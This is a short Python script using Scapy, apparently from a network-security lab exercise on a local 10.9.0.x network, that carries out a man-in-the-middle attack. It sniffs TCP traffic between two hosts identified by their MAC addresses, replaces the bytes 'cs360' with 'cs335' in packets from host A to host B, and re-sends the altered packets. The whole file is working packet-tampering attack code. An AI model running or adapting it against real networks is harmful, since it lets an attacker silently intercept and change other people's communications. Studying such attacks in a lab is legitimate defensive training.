#!/usr/bin/env python3
from scapy.all import *

host_a = "10.9.0.5"
host_b = "10.9.0.6"
mac_a = "02:42:0a:09:00:05"
mac_b = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == host_a and pkt[IP].dst == host_b:

        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            newdata = data.replace(b'cs360', b'cs335')
            print(newdata)
            send(newpkt/newdata, verbose=0)
        else:
            send(newpkt, verbose=0)
    elif pkt[IP].src == host_b and pkt[IP].dst == host_a:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=0)

pkt = sniff(iface='eth0', filter='tcp and (ether src {A} or ether src {B})'.format(A=mac_a, B=mac_b) , prn=spoof_pkt)